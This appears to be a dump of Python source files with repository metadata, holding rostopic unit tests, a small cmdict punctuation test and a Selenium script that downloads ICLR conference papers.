arrays_d = 'time,field.int8_arr0,field.uint8_arr0,field.uint8_arr1,field.int32_arr0,field.int32_arr1,field.int32_arr2,field.uint32_arr0,field.uint32_arr1,field.uint32_arr2,field.string_arr0,field.string_arr1,field.string_arr2,field.time_arr0,field.time_arr1'
arrays_nostr = 'time,field.int8_arr0,field.uint8_arr0,field.uint8_arr1,field.int32_arr0,field.int32_arr1,field.int32_arr2,field.uint32_arr0,field.uint32_arr1,field.uint32_arr2,field.time_arr0,field.time_arr1'
embed_v = Embed(simple_v, arrays_v)
embed_d = simple_d.replace('field.', 'field.simple.')+','+arrays_d.replace('field.', 'field.arrays.')[5:]
embed_nostr = simple_nostr.replace('field.', 'field.simple.')+','+arrays_nostr.replace('field.', 'field.arrays.')[5:]
embed_noarr = simple_d.replace('field.', 'field.simple.')
embed_nostr_noarr = simple_nostr.replace('field.', 'field.simple.')
# test over all combinations of field filters
f = create_field_filter(echo_nostr=False, echo_noarr=False)
m = String()
self.assertEquals("time,field.data", _str_plot_fields(m, 'field', f))
m = String('foo')
self.assertEquals('time,field.data', _str_plot_fields(m, 'field', f))
m = TVals(Time(123, 456), Duration(78, 90))
v = _str_plot_fields(m, 'field', f)
self.assertEquals('time,field.t,field.d', v)
m = simple_v
self.assertEquals(simple_d, _str_plot_fields(m, 'field', f))
m = arrays_v
self.assertEquals(arrays_d, _str_plot_fields(m, 'field', f))
m = embed_v
self.assertEquals(embed_d, _str_plot_fields(m, 'field', f))
f = create_field_filter(echo_nostr=True, echo_noarr=False)
m = String()
self.assertEquals("time,", _str_plot_fields(m, 'field', f))
m = String('foo')
self.assertEquals('time,', _str_plot_fields(m, 'field', f))
m = TVals(Time(123, 456), Duration(78, 90))
v = _str_plot_fields(m, 'field', f)
self.assertEquals('time,field.t,field.d', v)
m = simple_v
self.assertEquals(simple_nostr, _str_plot_fields(m, 'field', f))
m = arrays_v
self.assertEquals(arrays_nostr, _str_plot_fields(m, 'field', f))
m = embed_v
self.assertEquals(embed_nostr, _str_plot_fields(m, 'field', f))
f = create_field_filter(echo_nostr=False, echo_noarr=True)
m = String()
self.assertEquals("time,field.data", _str_plot_fields(m, 'field', f))
m = String('foo')
self.assertEquals("time,field.data", _str_plot_fields(m, 'field', f))
m = TVals(Time(123, 456), Duration(78, 90))
v = _str_plot_fields(m, 'field', f)
self.assertEquals('time,field.t,field.d', v)
m = simple_v
self.assertEquals(simple_d, _str_plot_fields(m, 'field', f))
m = arrays_v
self.assertEquals('time,', _str_plot_fields(m, 'field', f))
m = embed_v
self.assertEquals(embed_noarr, _str_plot_fields(m, 'field', f))
f = create_field_filter(echo_nostr=True, echo_noarr=True)
m = String()
self.assertEquals("time,", _str_plot_fields(m, 'field', f))
m = String('foo')
self.assertEquals('time,', _str_plot_fields(m, 'field', f))
m = TVals(Time(123, 456), Duration(78, 90))
v = _str_plot_fields(m, 'field', f)
self.assertEquals('time,field.t,field.d', v)
m = simple_v
self.assertEquals(simple_nostr, _str_plot_fields(m, 'field', f))
m = arrays_v
self.assertEquals('time,', _str_plot_fields(m, 'field', f))
m = embed_v
self.assertEquals(embed_nostr_noarr, _str_plot_fields(m, 'field', f))
def test_str_plot(self):
from rostopic import _str_plot
from std_msgs.msg import String
from test_rostopic.msg import Arrays, Embed, Simple, TVals
from genpy import Time, Duration
from rostopic import create_field_filter
# str plotting requires rospy time, we fix time to a set time
import rospy.rostime
rospy.rostime.set_rostime_initialized(True)
rospy.rostime._set_rostime(Time(0, 1234))
r_time = Time(0, 5678)
# prepare test values
simple_v = Simple(1, -2, 3, -4, 'a', 7, 8, 9, 'bar')
simple_d = '1234,1,-2,3,-4,a,7,8,9,bar'
simple_nostr = '1234,1,-2,3,-4,a,7,8,9'
arrays_v = Arrays([-1], chr(2)+chr(3), [3, 4, 5], [6, 7, 8], ['a1', 'b2', 'b3'], [Time(123, 456), Time(78, 90)])
arrays_d = '1234,-1,2,3,3,4,5,6,7,8,a1,b2,b3,123000000456,78000000090'
arrays_nostr = '1234,-1,2,3,3,4,5,6,7,8,123000000456,78000000090'
embed_v = Embed(simple_v, arrays_v)
embed_d = simple_d+','+arrays_d[5:]
# test current_time override
m = String('foo')
self.assertEquals('5678,foo', _str_plot(m, current_time=r_time, field_filter=None))
# test over all combinations of field filters
f = create_field_filter(echo_nostr=False, echo_noarr=False)
m = String()
self.assertEquals("1234,", _str_plot(m, field_filter=f))
m = String('foo')
self.assertEquals('1234,foo', _str_plot(m, field_filter=f))
m = TVals(Time(123, 456), Duration(78, 90))
v = _str_plot(m, field_filter=f)
self.assertEquals('1234,123000000456,78000000090', v)
m = simple_v
self.assertEquals(simple_d, _str_plot(m, field_filter=f))
m = arrays_v
self.assertEquals(arrays_d, _str_plot(m, field_filter=f))
m = embed_v
self.assertEquals(embed_d, _str_plot(m, field_filter=f))
f = create_field_filter(echo_nostr=True, echo_noarr=False)
m = String()
self.assertEquals("1234,", _str_plot(m, field_filter=f))
m = String('foo')
self.assertEquals('1234,', _str_plot(m, field_filter=f))
m = TVals(Time(123, 456), Duration(78, 90))
v = _str_plot(m, field_filter=f)
self.assertEquals('1234,123000000456,78000000090', v)
m = simple_v
self.assertEquals(simple_nostr, _str_plot(m, field_filter=f))
m = arrays_v
self.assertEquals(arrays_nostr, _str_plot(m, field_filter=f))
m = embed_v
self.assertEquals(simple_nostr+arrays_nostr[4:], _str_plot(m, field_filter=f))
f = create_field_filter(echo_nostr=False, echo_noarr=True)
m = String()
self.assertEquals("1234,", _str_plot(m, field_filter=f))
m = String('foo')
self.assertEquals('1234,foo', _str_plot(m, field_filter=f))
m = TVals(Time(123, 456), Duration(78, 90))
v = _str_plot(m, field_filter=f)
self.assertEquals('1234,123000000456,78000000090', v)
m = simple_v
self.assertEquals(simple_d, _str_plot(m, field_filter=f))
m = arrays_v
self.assertEquals('1234,', _str_plot(m, field_filter=f))
m = embed_v
self.assertEquals(simple_d, _str_plot(m, field_filter=f))
f = create_field_filter(echo_nostr=True, echo_noarr=True)
m = String()
self.assertEquals("1234,", _str_plot(m, field_filter=f))
m = String('foo')
self.assertEquals('1234,', _str_plot(m, field_filter=f))
m = TVals(Time(123, 456), Duration(78, 90))
v = _str_plot(m, field_filter=f)
self.assertEquals('1234,123000000456,78000000090', v)
m = simple_v
self.assertEquals(simple_nostr, _str_plot(m, field_filter=f))
m = arrays_v
self.assertEquals('1234,', _str_plot(m, field_filter=f))
m = embed_v
self.assertEquals(simple_nostr, _str_plot(m, field_filter=f))
def test_strify_message(self):
# strify message is part of roslib, but we want to test with
# rostopic's field filters. It's also the case that
# roslib.messages cannot be unit tested within the ROS stack
# -- part of the reason it needs to be moved elsewhere.
from std_msgs.msg import String
from test_rostopic.msg import Arrays, Embed, Simple, TVals
from genpy import Time, Duration
from roslib.message import strify_message
from rostopic import create_field_filter
simple_v = Simple(1, -2, 3, -4, 'a', 7, 8, 9, 'bar')
simple_d = {'b': 1, 'int16': -2, 'int32': 3, 'int64': -4, 'c': 'a', 'uint16': 7, 'uint32': 8, 'uint64': 9, 'str': 'bar'}
simple_nostr = simple_d.copy()
del simple_nostr['str']
arrays_v = Arrays([-1], chr(2)+chr(3), [3, 4, 5], [6, 7, 8], ['a1', 'b2', 'b3'], [Time(123, 456), Time(78, 90)])
arrays_d = {'int8_arr': [-1], 'uint8_arr': [2, 3], 'int32_arr': [3, 4, 5], 'uint32_arr': [6, 7, 8], 'string_arr': ['a1', 'b2', 'b3'], 'time_arr': [{'secs': 123, 'nsecs': 456}, {'secs': 78, 'nsecs': 90}]}
arrays_nostr = arrays_d.copy()
del arrays_nostr['string_arr']
embed_v = Embed(simple_v, arrays_v)
embed_d = {'simple': simple_d, 'arrays': arrays_d}
f = create_field_filter(echo_nostr=False, echo_noarr=False)
m = String()
self.assertEquals("data: ''", strify_message(m, field_filter=f))
m = String('foo')
self.assertEquals('data: "foo"', strify_message(m, field_filter=f))
m = TVals(Time(123, 456), Duration(78, 90))
v = yaml.load(strify_message(m, field_filter=f))
self.assertEquals({'t': {'secs': 123, 'nsecs': 456}, 'd': {'secs': 78, 'nsecs': 90}}, v)
m = simple_v
v = yaml.load(strify_message(m, field_filter=f))
self.assertEquals(simple_d, v)
m = arrays_v
v = yaml.load(strify_message(m, field_filter=f))
self.assertEquals(arrays_d, v)
m = embed_v
v = yaml.load(strify_message(m, field_filter=f))
self.assertEquals(embed_d, v)
f = create_field_filter(echo_nostr=True, echo_noarr=False)
m = String()
self.assertEquals('', strify_message(m, field_filter=f))
m = String('foo')
self.assertEquals('', strify_message(m, field_filter=f))
m = TVals(Time(123, 456), Duration(78, 90))
v = yaml.load(strify_message(m, field_filter=f))
self.assertEquals({'t': {'secs': 123, 'nsecs': 456}, 'd': {'secs': 78, 'nsecs': 90}}, v)
m = simple_v
v = yaml.load(strify_message(m, field_filter=f))
self.assertEquals(simple_nostr, v)
m = arrays_v
v = yaml.load(strify_message(m, field_filter=f))
self.assertEquals(arrays_nostr, v)
m = embed_v
v = yaml.load(strify_message(m, field_filter=f))
self.assertEquals({'simple': simple_nostr, 'arrays': arrays_nostr}, v)
f = create_field_filter(echo_nostr=False, echo_noarr=True)
m = String()
self.assertEquals("data: ''", strify_message(m, field_filter=f))
m = String('foo')
self.assertEquals('data: "foo"', strify_message(m, field_filter=f))
m = TVals(Time(123, 456), Duration(78, 90))
v = yaml.load(strify_message(m, field_filter=f))
self.assertEquals({'t': {'secs': 123, 'nsecs': 456}, 'd': {'secs': 78, 'nsecs': 90}}, v)
m = simple_v
v = yaml.load(strify_message(m, field_filter=f))
self.assertEquals(simple_d, v)
m = arrays_v
v = yaml.load(strify_message(m, field_filter=f))
self.assertEquals(None, v)
m = embed_v
v = yaml.load(strify_message(m, field_filter=f))
self.assertEquals({'simple': simple_d, 'arrays': None}, v)
f = create_field_filter(echo_nostr=True, echo_noarr=True)
m = String()
self.assertEquals('', strify_message(m, field_filter=f))
m = String('foo')
self.assertEquals('', strify_message(m, field_filter=f))
m = TVals(Time(123, 456), Duration(78, 90))
v = yaml.load(strify_message(m, field_filter=f))
self.assertEquals({'t': {'secs': 123, 'nsecs': 456}, 'd': {'secs': 78, 'nsecs': 90}}, v)
m = simple_v
v = yaml.load(strify_message(m, field_filter=f))
self.assertEquals(simple_nostr, v)
m = embed_v
v = yaml.load(strify_message(m, field_filter=f))
self.assertEquals({'simple': simple_nostr, 'arrays': None}, v)
def test_create_field_filter(self):
from std_msgs.msg import Header, Int32, String
from test_rostopic.msg import Arrays, Embed, Floats, Simple, TVals
from rostopic import create_field_filter
f = create_field_filter(echo_nostr=False, echo_noarr=False)
m = String()
self.assertEquals(['data'], list(f(m)))
m = Int32()
self.assertEquals(['data'], list(f(m)))
m = Arrays()
self.assertEquals(['int8_arr', 'uint8_arr', 'int32_arr', 'uint32_arr', 'string_arr', 'time_arr'], list(f(m)))
m = Embed()
self.assertEquals(['simple', 'arrays'], list(f(m)))
m = Simple()
self.assertEquals(['b', 'int16', 'int32', 'int64', 'c', 'uint16', 'uint32', 'uint64', 'str'], list(f(m)))
m = Floats()
self.assertEquals(['float32', 'float64'], list(f(m)))
m = TVals()
self.assertEquals(['t', 'd'], list(f(m)))
m = Header()
self.assertEquals(['seq', 'stamp', 'frame_id'], list(f(m)))
f = create_field_filter(echo_nostr=True, echo_noarr=False)
m = String()
self.assertEquals([], list(f(m)))
m = Int32()
self.assertEquals(['data'], list(f(m)))
m = Arrays()
self.assertEquals(['int8_arr', 'uint8_arr', 'int32_arr', 'uint32_arr', 'time_arr'], list(f(m)))
m = Embed()
self.assertEquals(['simple', 'arrays'], list(f(m)))
m = Simple()
self.assertEquals(['b', 'int16', 'int32', 'int64', 'c', 'uint16', 'uint32', 'uint64'], list(f(m)))
m = Floats()
self.assertEquals(['float32', 'float64'], list(f(m)))
m = TVals()
self.assertEquals(['t', 'd'], list(f(m)))
m = Header()
self.assertEquals(['seq', 'stamp'], list(f(m)))
f = create_field_filter(echo_nostr=False, echo_noarr=True)
m = String()
self.assertEquals(['data'], list(f(m)))
m = Int32()
self.assertEquals(['data'], list(f(m)))
m = Arrays()
self.assertEquals([], list(f(m)))
m = Embed()
self.assertEquals(['simple', 'arrays'], list(f(m)))
m = Simple()
self.assertEquals(['b', 'int16', 'int32', 'int64', 'c', 'uint16', 'uint32', 'uint64', 'str'], list(f(m)))
m = Floats()
self.assertEquals(['float32', 'float64'], list(f(m)))
m = TVals()
self.assertEquals(['t', 'd'], list(f(m)))
m = Header()
self.assertEquals(['seq', 'stamp', 'frame_id'], list(f(m)))
f = create_field_filter(echo_nostr=True, echo_noarr=True)
m = String()
self.assertEquals([], list(f(m)))
m = Int32()
self.assertEquals(['data'], list(f(m)))
m = Arrays()
self.assertEquals([], list(f(m)))
m = Embed()
self.assertEquals(['simple', 'arrays'], list(f(m)))
m = Simple()
self.assertEquals(['b', 'int16', 'int32', 'int64', 'c', 'uint16', 'uint32', 'uint64'], list(f(m)))
m = Floats()
self.assertEquals(['float32', 'float64'], list(f(m)))
m = TVals()
self.assertEquals(['t', 'd'], list(f(m)))
m = Header()
self.assertEquals(['seq', 'stamp'], list(f(m)))
def test_slicing(self):
from test_rostopic.msg import ArrayVal, Val
from rostopic import msgevalgen as f
# prepare a sliceable msg
msg = ArrayVal()
for v in ['ABCDEFG', 'abcdefg', '1234567', 'short']:
msg.vals.append(Val(val=v))
self.assertEqual(f(''), None)
self.assertEqual(f('/'), None)
self.assertListEqual(f('/vals')(msg), msg.vals)
self.assertListEqual(f('/vals/')(msg), msg.vals)
# first-level slicing
self.assertListEqual(f('/vals[:]')(msg), msg.vals)
self.assertListEqual(f('/vals[0:2]')(msg), msg.vals[0:2])
# element access
self.assertEqual(f('/vals[0]')(msg), msg.vals[0])
self.assertEqual(f('/vals[1]')(msg), msg.vals[1])
self.assertEqual(f('/vals['), None)
self.assertEqual(f('/vals[]'), None)
self.assertEqual(f('/vals[0'), None)
# element access continued
self.assertEqual(f('/vals[0]/val')(msg), msg.vals[0].val)
self.assertEqual(f('/vals[1]/val')(msg), msg.vals[1].val)
self.assertEqual(f('/vals[/val'), None)
self.assertEqual(f('/vals[]/val'), None)
self.assertEqual(f('/vals[0/val'), None)
# second-level slicing
self.assertEqual(f('/vals[0]/val[:]')(msg), msg.vals[0].val)
self.assertEqual(f('/vals[0]/val[0:2]')(msg), msg.vals[0].val[0:2])
self.assertEqual(f('/vals[0]/val[:-3]')(msg), msg.vals[0].val[:-3])
self.assertEqual(f('/vals[0]/val[2]')(msg), msg.vals[0].val[2])
# first-level slicing + second-level access
self.assertListEqual(f('/vals[:3]/val[0]')(msg), ['A', 'a', '1'])
self.assertListEqual(f('/vals[:3]/val[0]')(msg), ['A', 'a', '1'])
self.assertListEqual(f('/vals[1:3]/val[0]')(msg), ['a', '1'])
self.assertListEqual(f('/vals[:]/val[-1]')(msg), ['G', 'g', '7', 't'])
# multiple slicing
self.assertListEqual(f('/vals[:3]/val[1:3]')(msg), ['BC', 'bc', '23'])
# out-of-range errors
self.assertEqual(f('/vals[5]/val')(msg), None)
self.assertListEqual(f('/vals[:]/val[6]')(msg), ['G', 'g', '7', None])
# invalid descriptions
self.assertEqual(f('/vals[:]/val[]'), None)
self.assertEqual(f('/unknown[:]/val[0]')(msg), None)
self.assertListEqual(f('/vals[:]/unknown[0]')(msg), [None, None, None, None])
self.assertEqual(f('/vals/unknown[0]')(msg), None)
| 46.672727
| 266
| 0.611268
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| 20,536
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| 20,536
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0
| 7
|
20ff8fae5763690c4f338a8cffe0a8f3ddde5d82
| 259
|
py
|
Python
|
tests/cmdict/test_utils.py
|
zequnyu/e2c
|
326c87291e9625467e52b066bdac6d5358279e5d
|
[
"MIT"
] | 1
|
2022-03-30T19:27:58.000Z
|
2022-03-30T19:27:58.000Z
|
tests/cmdict/test_utils.py
|
edxu96/cmdict
|
88e6f19d1fd5ea4bdd87b0b06a9d3230ce1eac94
|
[
"MIT"
] | 61
|
2021-05-24T09:09:54.000Z
|
2021-09-02T13:25:53.000Z
|
tests/cmdict/test_utils.py
|
zequnyu/e2c
|
326c87291e9625467e52b066bdac6d5358279e5d
|
[
"MIT"
] | 1
|
2021-05-24T05:47:46.000Z
|
2021-05-24T05:47:46.000Z
|
"""Test utility functions."""
from cmdict.utils import remove_punctuation
def test_remove_punctuation_func():
"""Test function _remove_punctuation."""
assert remove_punctuation("other.") == "other"
assert remove_punctuation("'quote") == "quote"
| 28.777778
| 50
| 0.72973
| 28
| 259
| 6.464286
| 0.535714
| 0.469613
| 0.254144
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.131274
| 259
| 8
| 51
| 32.375
| 0.804444
| 0.223938
| 0
| 0
| 0
| 0
| 0.115789
| 0
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0.25
| true
| 0
| 0.25
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
1f045d37f7732da2d1194109bb97104fc508fc32
| 32,306
|
py
|
Python
|
code/paper_downloader_ICLR.py
|
SilenceEagle/paper_downloader
|
3b0e62350fc6d9d7f9cbc8a139db9ea296171498
|
[
"MIT"
] | 15
|
2020-07-06T02:23:49.000Z
|
2022-03-28T01:37:17.000Z
|
code/paper_downloader_ICLR.py
|
SilenceEagle/paper_downloader
|
3b0e62350fc6d9d7f9cbc8a139db9ea296171498
|
[
"MIT"
] | 1
|
2021-02-04T12:19:22.000Z
|
2021-04-14T07:15:36.000Z
|
code/paper_downloader_ICLR.py
|
SilenceEagle/paper_downloader
|
3b0e62350fc6d9d7f9cbc8a139db9ea296171498
|
[
"MIT"
] | 1
|
2021-12-23T02:47:26.000Z
|
2021-12-23T02:47:26.000Z
|
"""paper_downloader_ICLR.py"""
import time
from tqdm import tqdm
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
import os
#https://stackoverflow.com/questions/295135/turn-a-string-into-a-valid-filename
from slugify import slugify
from bs4 import BeautifulSoup
import pickle
from urllib.request import urlopen
import urllib
from lib.downloader import Downloader
def download_iclr_oral_papers(save_dir, driver_path, year, base_url=None, time_step_in_seconds=10, downloader='IDM'):
"""
:param save_dir: str, paper save path
:param driver_path: str, 'chromedriver.exe' full pathname
:param year: int, iclr year, current only support year >= 2018
:param base_url: str, paper website url
:param time_step_in_seconds: int, the interval time between two downlaod request in seconds
:param downloader: str, the downloader to download, could be 'IDM' or 'Thunder', default to 'IDM'
:return:
"""
downloader = Downloader(downloader=downloader)
if base_url is None:
if year == 2017:
base_url = 'https://openreview.net/group?id=ICLR.cc/2017/conference'
elif year == 2018:
base_url = 'https://openreview.net/group?id=ICLR.cc/2018/Conference#accepted-oral-papers'
elif year == 2019:
base_url = 'https://openreview.net/group?id=ICLR.cc/2019/Conference#accepted-oral-papers'
elif year == 2020:
base_url = 'https://openreview.net/group?id=ICLR.cc/2020/Conference#accept-talk'
elif year == 2021:
base_url = 'https://openreview.net/group?id=ICLR.cc/2021/Conference#oral-presentations'
else:
raise ValueError('the website url is not given for this year!')
first_poster_index = {'2017': 15}
paper_postfix = f'ICLR_{year}'
error_log = []
driver = webdriver.Chrome(driver_path)
driver.get(base_url)
if not os.path.exists(save_dir):
os.makedirs(save_dir)
# wait for the select element to become visible
print('Starting web driver wait...')
wait = WebDriverWait(driver, 20)
print('Starting web driver wait... finished')
res = wait.until(EC.presence_of_element_located((By.ID, "notes")))
print("Successful load the website!->",res)
res = wait.until(EC.presence_of_element_located((By.CLASS_NAME, "note")))
print("Successful load the website notes!->",res)
# parse the results
if year >= 2021:
divs = driver.find_elements_by_xpath('//*[@id="oral-presentations"]/ul/li')
elif year == 2020:
divs = driver.find_elements_by_xpath('//*[@id="accept-talk"]/ul/li')
elif year >= 2018:
divs = driver.find_elements_by_xpath('//*[@id="accepted-poster-papers"]/ul/li')
else:
divs = driver.find_elements_by_class_name('note')[:first_poster_index[str(year)]]
num_papers = len(divs)
print('found number of papers:',num_papers)
for index, paper in enumerate(divs):
a_hrefs = paper.find_elements_by_tag_name("a")
if year >= 2018:
name = slugify(a_hrefs[0].text.strip())
link = a_hrefs[1].get_attribute('href')
else:
name = slugify(paper.find_element_by_class_name('note_content_title').text)
link = paper.find_element_by_class_name('note_content_pdf').get_attribute('href')
print('Downloading paper {}/{}: {}'.format(index+1, num_papers, name))
pdf_name = name + '_' + paper_postfix + '.pdf'
if not os.path.exists(os.path.join(save_dir, pdf_name)):
# try 1 times
success_flag = False
for d_iter in range(1):
try:
downloader.download(
urls=link,
save_path=os.path.join(save_dir, pdf_name),
time_sleep_in_seconds=time_step_in_seconds
)
success_flag = True
break
except Exception as e:
print('Error: ' + name + ' - ' + str(e))
if not success_flag:
error_log.append((name, link))
driver.close()
# 2. write error log
print('write error log')
with open('..\\log\\download_err_log.txt', 'w') as f:
for log in tqdm(error_log):
for e in log:
f.write(e)
f.write('\n')
f.write('\n')
def download_iclr_poster_papers(save_dir, driver_path, year, base_url=None, time_step_in_seconds=10, downloader='IDM'):
"""
:param save_dir: str, paper save path
:param driver_path: str, 'chromedriver.exe' full pathname
:param year: int, iclr year, current only support year >= 2018
:param base_url: str, paper website url
:param time_step_in_seconds: int, the interval time between two downlaod request in seconds
:param downloader: str, the downloader to download, could be 'IDM' or 'Thunder', default to 'IDM'
:return:
"""
downloader = Downloader(downloader=downloader)
if base_url is None:
if year == 2017:
base_url = 'https://openreview.net/group?id=ICLR.cc/2017/conference'
elif year == 2018:
base_url = 'https://openreview.net/group?id=ICLR.cc/2018/Conference#accepted-poster-papers'
elif year == 2019:
base_url = 'https://openreview.net/group?id=ICLR.cc/2019/Conference#accepted-poster-papers'
elif year == 2020:
base_url = 'https://openreview.net/group?id=ICLR.cc/2020/Conference#accept-poster'
elif year == 2021:
base_url = 'https://openreview.net/group?id=ICLR.cc/2021/Conference#poster-presentations'
else:
raise ValueError('the website url is not given for this year!')
first_poster_index={'2017': 15}
first_workshop_title = {'2017': 'Learning Continuous Semantic Representations of Symbolic Expressions'}
paper_postfix = f'ICLR_{year}'
error_log = []
driver = webdriver.Chrome(driver_path)
driver.get(base_url)
if not os.path.exists(save_dir):
os.makedirs(save_dir)
# wait for the select element to become visible
print('Starting web driver wait...')
wait = WebDriverWait(driver, 20)
print('Starting web driver wait... finished')
res = wait.until(EC.presence_of_element_located((By.ID, "notes")))
print("Successful load the website!->",res)
res = wait.until(EC.presence_of_element_located((By.CLASS_NAME, "note")))
print("Successful load the website notes!->",res)
# parse the results
if year >= 2021:
divs = driver.find_elements_by_xpath('//*[@id="poster-presentations"]/ul/li')
elif year == 2020:
divs = driver.find_elements_by_xpath('//*[@id="accept-poster"]/ul/li')
elif year >= 2018:
divs = driver.find_elements_by_xpath('//*[@id="accepted-poster-papers"]/ul/li')
else:
divs = driver.find_elements_by_class_name('note')[first_poster_index[str(year)]:]
num_papers = len(divs)
print('found number of papers:',num_papers)
for index, paper in enumerate(divs):
a_hrefs = paper.find_elements_by_tag_name("a")
if year >= 2018:
name = slugify(a_hrefs[0].text.strip())
link = a_hrefs[1].get_attribute('href')
else:
name = slugify(paper.find_element_by_class_name('note_content_title').text)
link = paper.find_element_by_class_name('note_content_pdf').get_attribute('href')
if name == slugify(first_workshop_title[str(year)]): # all the poster paper has been downloaded
break
print('Downloading paper {}/{}: {}'.format(index+1, num_papers, name))
pdf_name = name + '_' + paper_postfix + '.pdf'
if not os.path.exists(os.path.join(save_dir, pdf_name)):
# try 1 times
success_flag = False
for d_iter in range(1):
try:
downloader.download(
urls=link,
save_path=os.path.join(save_dir, pdf_name),
time_sleep_in_seconds=time_step_in_seconds
)
success_flag = True
break
except Exception as e:
print('Error: ' + name + ' - ' + str(e))
if not success_flag:
error_log.append((name, link))
driver.close()
# 2. write error log
print('write error log')
with open('..\\log\\download_err_log.txt', 'w') as f:
for log in tqdm(error_log):
for e in log:
f.write(e)
f.write('\n')
f.write('\n')
def download_iclr_spotlight_papers(save_dir, driver_path, year, base_url=None, time_step_in_seconds=10, downloader='IDM'):
"""
:param save_dir: str, paper save path
:param driver_path: str, 'chromedriver.exe' full pathname
:param year: int, iclr year, current only support year >= 2018
:param base_url: str, paper website url
:param time_step_in_seconds: int, the interval time between two downlaod request in seconds
:param downloader: str, the downloader to download, could be 'IDM' or 'Thunder', default to 'IDM'
:return:
"""
downloader = Downloader(downloader=downloader)
if base_url is None:
if year >= 2021:
base_url = 'https://openreview.net/group?id=ICLR.cc/2021/Conference#spotlight-presentations'
elif year == 2020:
base_url = 'https://openreview.net/group?id=ICLR.cc/2020/Conference#accept-spotlight'
else:
raise ValueError('the website url is not given for this year!')
first_poster_index = {'2017': 15}
paper_postfix = f'ICLR_{year}'
error_log = []
driver = webdriver.Chrome(driver_path)
driver.get(base_url)
if not os.path.exists(save_dir):
os.makedirs(save_dir)
# wait for the select element to become visible
print('Starting web driver wait...')
wait = WebDriverWait(driver, 20)
print('Starting web driver wait... finished')
res = wait.until(EC.presence_of_element_located((By.ID, "notes")))
print("Successful load the website!->",res)
res = wait.until(EC.presence_of_element_located((By.CLASS_NAME, "note")))
print("Successful load the website notes!->",res)
# parse the results
if year >= 2021:
divs = driver.find_elements_by_xpath('//*[@id="spotlight-presentations"]/ul/li')
elif year == 2020:
divs = driver.find_elements_by_xpath('//*[@id="accept-spotlight"]/ul/li')
else:
divs = driver.find_elements_by_class_name('note')[:first_poster_index[str(year)]]
num_papers = len(divs)
print('found number of papers:',num_papers)
for index, paper in enumerate(divs):
a_hrefs = paper.find_elements_by_tag_name("a")
if year >= 2018:
name = slugify(a_hrefs[0].text.strip())
link = a_hrefs[1].get_attribute('href')
else:
name = slugify(paper.find_element_by_class_name('note_content_title').text)
link = paper.find_element_by_class_name('note_content_pdf').get_attribute('href')
print('Downloading paper {}/{}: {}'.format(index+1, num_papers, name))
pdf_name = name + '_' + paper_postfix + '.pdf'
if not os.path.exists(os.path.join(save_dir, pdf_name)):
# try 1 times
success_flag = False
for d_iter in range(1):
try:
downloader.download(
urls=link,
save_path=os.path.join(save_dir, pdf_name),
time_sleep_in_seconds=time_step_in_seconds
)
success_flag = True
break
except Exception as e:
print('Error: ' + name + ' - ' + str(e))
if not success_flag:
error_log.append((name, link))
driver.close()
# 2. write error log
print('write error log')
with open('..\\log\\download_err_log.txt', 'w') as f:
for log in tqdm(error_log):
for e in log:
f.write(e)
f.write('\n')
f.write('\n')
def download_iclr_paper(year, save_dir, time_step_in_seconds=5, downloader='IDM', is_use_arxiv_mirror=False):
"""
download iclr conference paper for year 2014, 2015 and 2016
:param year: int, iclr year
:param save_dir: str, paper save path
:param time_step_in_seconds: int, the interval time between two downlaod request in seconds
:param downloader: str, the downloader to download, could be 'IDM' or 'Thunder', default to 'IDM'
:return: True
"""
downloader = Downloader(downloader=downloader)
paper_postfix = f'ICLR_{year}'
if year == 2016:
base_url = 'https://iclr.cc/archive/www/doku.php%3Fid=iclr2016:main.html'
elif year == 2015:
base_url = 'https://iclr.cc/archive/www/doku.php%3Fid=iclr2015:main.html'
elif year == 2014:
base_url = 'https://iclr.cc/archive/2014/conference-proceedings/'
else:
raise ValueError('the website url is not given for this year!')
os.makedirs(save_dir, exist_ok=True)
if year == 2015: # oral and poster seperated
oral_save_path = os.path.join(save_dir, 'oral')
poster_save_path = os.path.join(save_dir, 'poster')
workshop_save_path = os.path.join(save_dir, 'ws')
os.makedirs(oral_save_path, exist_ok=True)
os.makedirs(poster_save_path, exist_ok=True)
os.makedirs(workshop_save_path, exist_ok=True)
if os.path.exists(f'..\\urls\\init_url_iclr_{year}.dat'):
with open(f'..\\urls\\init_url_iclr_{year}.dat', 'rb') as f:
content = pickle.load(f)
else:
headers = {
'User-Agent':
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0'}
req = urllib.request.Request(url=base_url, headers=headers)
content = urllib.request.urlopen(req).read()
with open(f'..\\urls\\init_url_iclr_{year}.dat', 'wb') as f:
pickle.dump(content, f)
error_log = []
soup = BeautifulSoup(content, 'html.parser')
print('open url successfully!')
if year == 2016:
papers = soup.find('h3', {'id': 'accepted_papers_conference_track'}).findNext('div').find_all('a')
for paper in tqdm(papers):
link = paper.get('href')
if link.startswith('http://arxiv'):
title = slugify(paper.text)
pdf_name = f'{title}_{paper_postfix}.pdf'
try:
if not os.path.exists(os.path.join(save_dir, title+f'_{paper_postfix}.pdf')):
pdf_link = get_pdf_link_from_arxiv(link, is_use_mirror=is_use_arxiv_mirror)
print(f'downloading {title}')
downloader.download(
urls=pdf_link,
save_path=os.path.join(save_dir, pdf_name),
time_sleep_in_seconds=time_step_in_seconds
)
except Exception as e:
# error_flag = True
print('Error: ' + title + ' - ' + str(e))
error_log.append((title, link, 'paper download error', str(e)))
# workshops
papers = soup.find('h3', {'id': 'workshop_track_posters_may_2nd'}).findNext('div').find_all('a')
for paper in tqdm(papers):
link = paper.get('href')
if link.startswith('http://beta.openreview'):
title = slugify(paper.text)
pdf_name = f'{title}_ICLR_WS_{year}.pdf'
try:
if not os.path.exists(os.path.join(save_dir, 'ws', pdf_name)):
pdf_link = get_pdf_link_from_openreview(link)
print(f'downloading {title}')
downloader.download(
urls=pdf_link,
save_path=os.path.join(save_dir, 'ws', pdf_name),
time_sleep_in_seconds=time_step_in_seconds
)
except Exception as e:
# error_flag = True
print('Error: ' + title + ' - ' + str(e))
error_log.append((title, link, 'paper download error', str(e)))
